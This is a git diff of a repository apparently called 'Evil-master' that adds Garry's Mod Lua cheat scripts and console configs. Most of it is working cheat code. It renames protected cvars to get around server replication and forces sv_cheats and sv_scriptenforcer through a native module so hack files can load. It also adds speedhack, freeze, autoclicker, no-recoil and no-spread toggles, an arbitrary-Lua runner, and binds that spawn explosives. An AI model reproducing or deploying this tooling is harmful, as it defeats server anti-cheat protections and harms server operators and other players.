["mat_wireframe"] = {"0", FCVAR_CHEAT}, + ["snd_show"] = {"0", FCVAR_CHEAT, "Show sounds info"}, +} + +local NowBypass = { + ["sv_cheats"] = {"0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT, "Allow cheats on server"}, + ["host_timescale"] = {"1.0", FCVAR_NOTIFY | FCVAR_REPLICATED | FCVAR_CHEAT, "Prescale the clock by this ammount."}, +} + + + +local function RenameCVar(cvar,tab) + local NewName = Prefix..cvar + + if ( ConVarExists(cvar) and not ConVarExists(NewName) ) then + local Value = tab[1] + local Flags = tab[2] + local Help = tab[3] or false + + local Done = replicator.Replicate(cvar, NewName, Flags, Value) + + if not Done then + COLCON(RED, "Bypass", WHITE, ": ! FUCKUP, replicator error") + return + end + + if Help then + CreateConVar(cvar, Value, Flags, Help) + else + CreateConVar(cvar, Value, Flags) + end + + return NewName + end +end + + + +local function MsgDeReplicate(cvar,newname) + COLCON(RED, "Bypass:", WHITE, " Renamed ", BROWN, cvar, WHITE, " to ", GREEN, newname) +end + +local function ManualDeReplicate(ply,cmd,args) + if (#args > 0) then + local name = args[1] + local CVar = GetConVar(name):GetDefault() + + local Tab = { + CVar:GetDefault(), + replicator.GetFlags(name), + CVar:GetHelpText(), + } + + MsgDeReplicate(name, RenameCVar(name,Tab) ) + return + end + + local Total = 0 + for CVar,Tab in pairs(NowBypass) do + local NewName = RenameCVar(CVar,Tab) + + Total = Total + 1 + MsgDeReplicate(CVar,NewName) + end + COLCON(RED, "Bypass", WHITE, ": Renamed ", GREEN, "["..Total.."]", WHITE, " more CVars\n") +end +concommand.Add("hex_dereplicate", ManualDeReplicate) + + +local function AlwaysDeReplicate() + local Total = 0 + + for CVar,Tab in pairs(AlwaysBypass) do + local NewName = RenameCVar(CVar,Tab) + + Total = Total + 1 + MsgDeReplicate(CVar,NewName) + end + + COLCON(RED, "Bypass:", WHITE, " Renamed ", GREEN, "["..Total.."]", WHITE, " CVars\n") +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua new file mode 100644 index 0000000..0656025 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua @@ -0,0 +1,214 @@ + +include("includes/compat.lua") +require("concommand") +require("cvars") +include("includes/util/model_database.lua") +include("includes/util/vgui_showlayout.lua") +include("includes/util/tooltips.lua") +include("includes/util/client.lua") + +local CreateClientConVar = CreateClientConVar +local GetConVarNumber = GetConVarNumber +local RunConsoleCommand = RunConsoleCommand +local GetConVar = GetConVar +local concommand = concommand +local timer = timer +local modules = 0 + +--if (#file.FindInLua("includes/modules/gm_hex_setter.dll") == 1) then --nice idea, doesnt work. + +require("hex_setter") +--package.loaded.hex_setter = nil +require("hexstring") +require("hexcmdcallcl") + +local function CheckSE() + SEEnabled = false + if GetConVar("sv_scriptenforcer"):GetInt() then + SEEnabled = GetConVar("sv_scriptenforcer"):GetInt() + end + return SEEnabled +end +local function CheckSVC() + return GetConVar("sv_cheats"):GetBool() +end + +concommand.Add("hex_force", function(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + end + + if (#args >= 2) then + HeXSetvar(CreateConVar(tostring(args[1]), ""),args[2]) + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + elseif (#args == 1) then + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + else + print("[HeX] No args dumbass") + end +end) + +concommand.Add("hex_se2", function(ply,cmd,args) + if CheckSE() then + RunConsoleCommand("hex_force","sv_scriptenforcer",0) + else + RunConsoleCommand("hex_force","sv_scriptenforcer",1) + end +end) +concommand.Add("hex_svc", function(ply,cmd,args) + if CheckSVC() then + RunConsoleCommand("hex_force","sv_cheats",0) + else + RunConsoleCommand("hex_force","sv_cheats",1) + end +end) + + +local HeXSpeedHackInt = CreateClientConVar("hex_speedint", 4, true, false) +local HeXSpeedEnabled = false + +local function HeXSpeedHack(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + elseif not CheckSVC() then + print("[HeX] cheats are off, use hex_svc to enable sv_cheats") + return + end + + if HeXSpeedEnabled then + HeXSetvar(CreateConVar("host_timescale",""), HeXSpeedHackInt:GetInt()) + HeXSpeedEnabled = !HeXSpeedEnabled + else + HeXSpeedEnabled = !HeXSpeedEnabled + HeXSetvar(CreateConVar("host_timescale",""), 1) + end +end +concommand.Add("hex_speedhack", HeXSpeedHack) + +local HeXFreezeHackInt = CreateClientConVar("hex_freezeint", 1500, true, false) +local HeXFreezeHackEnabled = false + +local function HeXFreezeHack(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + elseif not CheckSVC() then + print("[HeX] cheats are off, use hex_svc to enable sv_cheats") + return + end + + if HeXFreezeHackEnabled then + HeXSetvar(CreateConVar("host_framerate",""), HeXFreezeHackInt:GetInt()) + HeXFreezeHackEnabled = !HeXFreezeHackEnabled + else + HeXFreezeHackEnabled = !HeXFreezeHackEnabled + HeXSetvar(CreateConVar("host_framerate",""), 0) + end +end +concommand.Add("hex_freezehack", HeXFreezeHack) + + + +local HeXClickDelay = CreateClientConVar("hex_autoclicker_clicks", 0.02, true, false) +local HeXAutoClickEnabled = false +local function HeXAutoClicker(ply,cmd,args) + if HeXAutoClickEnabled then + HeXAutoClickEnabled = !HeXAutoClickEnabled + timer.Destroy("hex_autoclicker") + RunConsoleCommand("+attack") + timer.Simple(0.01, function() + RunConsoleCommand("-attack") + end) + else + HeXAutoClickEnabled = !HeXAutoClickEnabled + timer.Create("hex_autoclicker", HeXClickDelay:GetFloat(), 0, function() + HeXPressTheMouse() + end) + end +end +concommand.Add("hex_autoclicker", HeXAutoClicker) + +local bool = false +function HeXPressTheMouse() --FIXME, hackey + if not bool then + bool = true + else + bool = false + end + local pre = { + [true] = "+", + [false] = "-" + } + RunConsoleCommand(pre[bool].."attack") +end + +concommand.Add("lua_run_ml", function(ply,cmd,args) + if #args and #args != 0 then + local cock = "" + for k,arg in ipairs(args) do + cock = cock..string.gsub(arg,'"',"'") + end + print("! cock: ", cock) + + PrintTable(args) + local RawLua2Run = table.concat(args," ") + local Lua2Run = string.gsub(RawLua2Run,"'",'"') + print("Running lua: ",Lua2Run) + HeXString(Lua2Run) + return + end + print("You gotta have code to run code") +end) + +function HeXLRCL(str) + if not str then return end + + if HeXCommandCL then + HeXCommandCL(str) + else + print("[HeX] gmcl_hexcmdcallcl.dll gone!") + end +end + +concommand.Add("hex_loadhacks", function() + if CheckSE() then + RunConsoleCommand("hex_force","sv_scriptenforcer",0) + end + HeXLRCL("lua_openscript_cl hexloader.lua") + timer.Simple(2, function() + if SEEnabled then + RunConsoleCommand("hex_force","sv_scriptenforcer",SEEnabled) + end + end) +end) + +local HeXNSToggle = false +concommand.Add("hex_nospread_toggle", function() + if HeXNSToggle then + RunConsoleCommand("hex_nospread_kill") + HeXNSToggle = !HeXNSToggle + else + HeXNSToggle = !HeXNSToggle + RunConsoleCommand("hex_nospread_load") + end +end) + +local HeXVCollideEnabled = false +local function HeXVCollide(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + end + + if HeXVCollideEnabled then + HeXSetvar(CreateConVar("vcollide_wireframe",""), 0) + HeXVCollideEnabled = !HeXVCollideEnabled + else + HeXVCollideEnabled = !HeXVCollideEnabled + HeXSetvar(CreateConVar("vcollide_wireframe",""), 1) + end +end +concommand.Add("hex_vcollide", HeXVCollide) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua new file mode 100644 index 0000000..c043991 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua @@ -0,0 +1,34 @@ + +--[[ + +also add to all other ml scripts +]] + + +if not console or package.loaded.console then + require("console") + console.RunCommand = nil --you better don't + console.LogPrint = nil --leave these functions enabled :O +end + +local col = Color(255,255,255) +local txt = "" +function COLCON(...) + for _,v in pairs({...}) do + txt = type(v) + if txt == "table" then + col = v + elseif txt == "string" then + console.Print(col,v) + end + end + console.Print(col,"\n") +end + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua new file mode 100644 index 0000000..0d019fb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua @@ -0,0 +1,131 @@ +require( "downloadfilter" ) + +local AvailableFilters = { "dua", "bsp", "wav", "ogg", "mp3", "txt", "mdl", "phy", "vtx", "vvd", "vtf", "vmt", "vcs", "ini", "jpg", "ani", "ttf"} +local ActiveFilters = {} + +if file.Exists( "downloadfilter/filters.txt" ) then + ActiveFilters = glon.decode( file.Read( "downloadfilter/filters.txt" ) ) +end + +local PANEL = {} + +surface.CreateFont( "Tahoma", 17, 1000, true, false, "LargeBold", false ) + +function PANEL:Init() + + self:Dock( TOP ) + self:DockMargin( 1, 1, 1, 0 ) + self:SetHeight( 32 ) + + self.alt = false + + self.Label = vgui.Create( "DLabel", self ) + self.Label:Dock( LEFT ) + self.Label:DockMargin( 16, 0, 0, 0 ) + self.Label:SetWidth( 300 ) + self.Label:SetFont( "LargeBold" ) + self.Label:SetExpensiveShadow( 1, Color( 0, 0, 0, 130 ) ) + + self.CheckBox = vgui.Create( "DCheckBox", self ) + self.CheckBox:Dock( RIGHT ) + self.CheckBox:SetWidth( 16 ) + self.CheckBox:DockMargin( 10, 8, 10, 8 ) +end + +function PANEL:Setup( ext, rowid, bool ) + + self.alt = math.fmod( rowid, 2 ) == 1 + self.available = true + self.Label:SetText( ext ) + self.CheckBox:SetValue( bool ) + function self.CheckBox.OnChange( checkbox, val ) + self:UpdateColor() + ActiveFilters[ ext ] = val + file.Write( "downloadfilter/filters.txt", glon.encode( ActiveFilters ) ) + end + self:UpdateColor() +end + +function PANEL:PerformLayout() + self:UpdateColor() +end + +function PANEL:UpdateColor() + + self.Label:SetAlpha( 255 ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + + if ( !self.CheckBox:GetChecked() || !self.available ) then + self:SetBackgroundColor( Color( 100, 100, 100, 255 ) ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + self.Label:SetAlpha( 100 ) + elseif ( self.alt ) then + self:SetBackgroundColor( Color( 163, 163, 163, 255 ) ) + else + self:SetBackgroundColor( Color( 185, 185, 185, 255 ) ) + end + +end +local pnlRow = vgui.RegisterTable( PANEL, "DPanel" ) +local PANEL = {} + +function PANEL:Init() + + self:EnableVerticalScrollbar() + self:SetPadding( 1 ) + self:DockMargin( 8, 8, 8, 8 ) + + local label = Label( "Check an extension to allow these file types", self ) + label:Dock( BOTTOM ) + label:SetContentAlignment( 5 ) + label:SetColor( Color( 255, 30, 30 ) ) + local savedval = true + for k, v in SortedPairs( AvailableFilters ) do + local row = vgui.CreateFromTable( pnlRow, self ) + self:AddItem( row ) + savedval = ActiveFilters[ v ] + row:Setup( v, k - 1, savedval ) + end + + self:Dock( FILL ) + +end + +local pnlDFilter = vgui.RegisterTable( PANEL, "DScrollPanel" ) + +function debug.getupvalues( f ) + local t, i, k, v = {}, 1, debug.getupvalue( f, 1 ) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue( f, i ) + end + return t +end + +local ExtensionsCMD = debug.getupvalues( concommand.Run ).CommandList["menu_extensions"] +ExtensionsCMD() +local extensionspanel = debug.getupvalues( ExtensionsCMD ).Extensions + +local DownloadFilter = vgui.CreateFromTable( pnlDFilter ) + +if IsValid( extensionspanel ) then --HACK RIGHT INTO THAT BITCH + extensionspanel.PropertySheet:AddSheet( Localize( "Download Filter" ), DownloadFilter, "gui/silkicons/page" ) + extensionspanel:PerformLayout() + extensionspanel:SetVisible( false ) + +else --Made just for you garry. + Derma_Message( "WARNING: Unable to get extensions panel.\nThis may have been caused by an update that removed this functionality.\nPlease check for updates for mod ( \"Advanced Download Filter\" )", "ERROR: No extensions" ) +end + +hook.Add( "ShouldDownload", "DownloadFilter", function(filename) + local ShouldDownload = ActiveFilters[ string.GetExtensionFromFilename(filename:gsub(".bz2","")) ] + if ShouldDownload then + Msg("[DL] Downloading: "..filename.."\n") + else + Msg("[DL] NOT Downloading: "..filename.."\n") + end + return ShouldDownload +end) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua new file mode 100644 index 0000000..b2c72be --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua @@ -0,0 +1,11 @@ + + +for sid,tab in pairs(SHers) do + local Log = "lol/"..sid:gsub(":", "_")..".txt" + + if not file.Exists(Log) then + file.Write(Log, Format("SH\n%s\nSkidCheck\n", (tab.Name or "None")) ) + end + print("! saved") +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua new file mode 100644 index 0000000..6d078d9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua @@ -0,0 +1,30 @@ +print("! HeXNoRecoil loaded") + +local HeXNoRecoilEnabled = true + +local function HeXNoRecoilToggle(ply,cmd,args) + if HeXNoRecoilEnabled then + HeXNoRecoilEnabled = false + GAMEMODE:AddNotify("Recoil enabled", NOTIFY_GENERIC, 3) + print("! Recoil enabled") + else + HeXNoRecoilEnabled = true + GAMEMODE:AddNotify("Recoil disabled.", NOTIFY_GENERIC, 4) + print("! Recoil disabled") + end +end +concommand.Add("hex_togglerecoil", HeXNoRecoilToggle) + +local function HeXNoRecoil() + if HeXNoRecoilEnabled then + if ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil != 0) then + LocalPlayer():GetActiveWeapon().OldRecoil = LocalPlayer():GetActiveWeapon().Recoil or (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil) + LocalPlayer():GetActiveWeapon().Recoil = 0 + LocalPlayer():GetActiveWeapon().Primary.Recoil = 0 + end + elseif ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil == 0) and LocalPlayer():GetActiveWeapon().OldRecoil then + LocalPlayer():GetActiveWeapon().Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + LocalPlayer():GetActiveWeapon().Primary.Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + end +end +hook.Add("Think", "HeXNoRecoil", HeXNoRecoil) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua new file mode 100644 index 0000000..6e7389e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua @@ -0,0 +1,15 @@ + + + for k,v in pairs( file.FindInLua("custom_menu/ml_base_*.lua") ) do --include base modules + include("custom_menu/"..v) + table.insert(DontLoadAgain, v) + COLCON( GREEN, " CMI " , CMIColor, "Loaded ", PINK, "Base ", CMIColor, "Module", WHITE, ": "..v ) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_*.lua") ) do --include modules + if not table.HasValue(DontLoadAgain, v) then + include("custom_menu/"..v) + COLCON( GREEN, " CMI " , CMIColor, "Loaded Module", WHITE, ": "..v ) + end + end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua new file mode 100644 index 0000000..a736e7d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua @@ -0,0 +1,19 @@ + + for k,v in pairs( file.FindInLua("custom_menu/*.lua") ) do + if v:sub(1,5) == "ml_B_" then --include base modules first + COLCON( CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v ) + include("custom_menu/"..v) + + elseif v:sub(1,5) == "ml_H_" then --include hack modules + COLCON( CMIColor, " Loading ", RED, "Hack", WHITE, ": "..v ) + include("custom_menu/"..v) + + + elseif v:sub(1,3) == "ml_" then --include modules + COLCON( CMIColor, " Loading ", GREEN, "Module", WHITE, ": "..v ) + include("custom_menu/"..v) + end + end + + + \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua new file mode 100644 index 0000000..aa1316e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua @@ -0,0 +1,67 @@ + + +CVarToString = { + [FCVAR_UNREGISTERED] = "FCVAR_UNREGISTERED", + [FCVAR_GAMEDLL] = "FCVAR_GAMEDLL", + [FCVAR_CLIENTDLL] = "FCVAR_CLIENTDLL", + [FCVAR_PROTECTED] = "FCVAR_PROTECTED", + [FCVAR_SPONLY] = "FCVAR_SPONLY", + [FCVAR_ARCHIVE] = "FCVAR_ARCHIVE", + [FCVAR_NOTIFY] = "FCVAR_NOTIFY", + [FCVAR_USERINFO] = "FCVAR_USERINFO", + [FCVAR_PRINTABLEONLY] = "FCVAR_PRINTABLEONLY", + [FCVAR_UNLOGGED] = "FCVAR_UNLOGGED", + [FCVAR_NEVER_AS_STRING] = "FCVAR_NEVER_AS_STRING", + [FCVAR_REPLICATED] = "FCVAR_REPLICATED", + [FCVAR_CHEAT] = "FCVAR_CHEAT", + [FCVAR_DEMO] = "FCVAR_DEMO", + [FCVAR_DONTRECORD] = "FCVAR_DONTRECORD", + [FCVAR_NOT_CONNECTED] = "FCVAR_NOT_CONNECTED", + [FCVAR_ARCHIVE_XBOX] = "FCVAR_ARCHIVE_XBOX", + [FCVAR_SERVER_CAN_EXECUTE] = "FCVAR_SERVER_CAN_EXECUTE", + [FCVAR_SERVER_CANNOT_QUERY] = "FCVAR_SERVER_CANNOT_QUERY", + [FCVAR_CLIENTCMD_CAN_EXECUTE] = "FCVAR_CLIENTCMD_CAN_EXECUTE", +} + + + + +local HeXVCollideEnabled = false +local function HeXVCollide(ply,cmd,args) + if HeXVCollideEnabled then + HeXSetvar(CreateConVar("vcollide_wireframe",""), "0") + HeXVCollideEnabled = !HeXVCollideEnabled + else + HeXVCollideEnabled = !HeXVCollideEnabled + HeXSetvar(CreateConVar("vcollide_wireframe",""), "1") + end +end +concommand.Add("hex_vcollide", HeXVCollide) + + +concommand.Add("hex_force", function(ply,cmd,args) + if (#args >= 2) then + HeXSetvar(CreateConVar(tostring(args[1]), ""),args[2]) + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + elseif (#args == 1) then + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + else + print("[HeX] No args dumbass") + end +end) + + + + +concommand.Add("hex_svc", function(ply,cmd,args) + if CheckSVC() then + RunConsoleCommand("hex_force","sv_cheats",0) + else + RunConsoleCommand("hex_force","sv_cheats",1) + end +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua new file mode 100644 index 0000000..0d019fb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua @@ -0,0 +1,131 @@ +require( "downloadfilter" ) + +local AvailableFilters = { "dua", "bsp", "wav", "ogg", "mp3", "txt", "mdl", "phy", "vtx", "vvd", "vtf", "vmt", "vcs", "ini", "jpg", "ani", "ttf"} +local ActiveFilters = {} + +if file.Exists( "downloadfilter/filters.txt" ) then + ActiveFilters = glon.decode( file.Read( "downloadfilter/filters.txt" ) ) +end + +local PANEL = {} + +surface.CreateFont( "Tahoma", 17, 1000, true, false, "LargeBold", false ) + +function PANEL:Init() + + self:Dock( TOP ) + self:DockMargin( 1, 1, 1, 0 ) + self:SetHeight( 32 ) + + self.alt = false + + self.Label = vgui.Create( "DLabel", self ) + self.Label:Dock( LEFT ) + self.Label:DockMargin( 16, 0, 0, 0 ) + self.Label:SetWidth( 300 ) + self.Label:SetFont( "LargeBold" ) + self.Label:SetExpensiveShadow( 1, Color( 0, 0, 0, 130 ) ) + + self.CheckBox = vgui.Create( "DCheckBox", self ) + self.CheckBox:Dock( RIGHT ) + self.CheckBox:SetWidth( 16 ) + self.CheckBox:DockMargin( 10, 8, 10, 8 ) +end + +function PANEL:Setup( ext, rowid, bool ) + + self.alt = math.fmod( rowid, 2 ) == 1 + self.available = true + self.Label:SetText( ext ) + self.CheckBox:SetValue( bool ) + function self.CheckBox.OnChange( checkbox, val ) + self:UpdateColor() + ActiveFilters[ ext ] = val + file.Write( "downloadfilter/filters.txt", glon.encode( ActiveFilters ) ) + end + self:UpdateColor() +end + +function PANEL:PerformLayout() + self:UpdateColor() +end + +function PANEL:UpdateColor() + + self.Label:SetAlpha( 255 ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + + if ( !self.CheckBox:GetChecked() || !self.available ) then + self:SetBackgroundColor( Color( 100, 100, 100, 255 ) ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + self.Label:SetAlpha( 100 ) + elseif ( self.alt ) then + self:SetBackgroundColor( Color( 163, 163, 163, 255 ) ) + else + self:SetBackgroundColor( Color( 185, 185, 185, 255 ) ) + end + +end +local pnlRow = vgui.RegisterTable( PANEL, "DPanel" ) +local PANEL = {} + +function PANEL:Init() + + self:EnableVerticalScrollbar() + self:SetPadding( 1 ) + self:DockMargin( 8, 8, 8, 8 ) + + local label = Label( "Check an extension to allow these file types", self ) + label:Dock( BOTTOM ) + label:SetContentAlignment( 5 ) + label:SetColor( Color( 255, 30, 30 ) ) + local savedval = true + for k, v in SortedPairs( AvailableFilters ) do + local row = vgui.CreateFromTable( pnlRow, self ) + self:AddItem( row ) + savedval = ActiveFilters[ v ] + row:Setup( v, k - 1, savedval ) + end + + self:Dock( FILL ) + +end + +local pnlDFilter = vgui.RegisterTable( PANEL, "DScrollPanel" ) + +function debug.getupvalues( f ) + local t, i, k, v = {}, 1, debug.getupvalue( f, 1 ) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue( f, i ) + end + return t +end + +local ExtensionsCMD = debug.getupvalues( concommand.Run ).CommandList["menu_extensions"] +ExtensionsCMD() +local extensionspanel = debug.getupvalues( ExtensionsCMD ).Extensions + +local DownloadFilter = vgui.CreateFromTable( pnlDFilter ) + +if IsValid( extensionspanel ) then --HACK RIGHT INTO THAT BITCH + extensionspanel.PropertySheet:AddSheet( Localize( "Download Filter" ), DownloadFilter, "gui/silkicons/page" ) + extensionspanel:PerformLayout() + extensionspanel:SetVisible( false ) + +else --Made just for you garry. + Derma_Message( "WARNING: Unable to get extensions panel.\nThis may have been caused by an update that removed this functionality.\nPlease check for updates for mod ( \"Advanced Download Filter\" )", "ERROR: No extensions" ) +end + +hook.Add( "ShouldDownload", "DownloadFilter", function(filename) + local ShouldDownload = ActiveFilters[ string.GetExtensionFromFilename(filename:gsub(".bz2","")) ] + if ShouldDownload then + Msg("[DL] Downloading: "..filename.."\n") + else + Msg("[DL] NOT Downloading: "..filename.."\n") + end + return ShouldDownload +end) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg new file mode 100644 index 0000000..5da8dbb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg @@ -0,0 +1,34 @@ +wait + +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait + + +ent_create item_ammo_smg1_large +wait +ent_create item_ammo_smg1_large +wait +ent_create item_ammo_smg1_large +wait +ent_create item_ammo_smg1_large +wait + +wait +ent_create item_ammo_smg1_grenade +wait +ent_create item_ammo_smg1_grenade +wait +ent_create item_ammo_smg1_grenade +wait +ent_create item_ammo_smg1_grenade +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg new file mode 100644 index 0000000..3d819c9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg @@ -0,0 +1,76 @@ +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg new file mode 100644 index 0000000..1f3c928 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg @@ -0,0 +1,4 @@ +Prop_physics_create props_c17/oildrum001_explosive.mdl + +ent_create grenade_ar2 + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg new file mode 100644 index 0000000..f131412 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg @@ -0,0 +1,8 @@ +wait +ulx rcon sbox_godmode 1 +wait +ulx rcon sbox_noclip 1 +wait +ulx rcon sbox_maxnpcs 0 +wait +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg new file mode 100644 index 0000000..d61f0f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg @@ -0,0 +1,8 @@ +wait +ulx rcon sbox_godmode 0 +wait +ulx rcon sbox_noclip 0 +wait +ulx rcon sbox_maxnpcs 4 +wait +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg new file mode 100644 index 0000000..63a8219 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg @@ -0,0 +1,9 @@ +bind "9" "ent_fire !picker break" +bind "b" "buddha" +bind "g" "stopsounds" +bind "i" "sv_cheats 1" +bind "k" "kill" +bind "n" "impulse 101" +bind "\" "+zoom" +bind "HOME" "firstperson" +bind "END" "thirdperson" diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg new file mode 100644 index 0000000..0e5784d --- /dev/null +++ 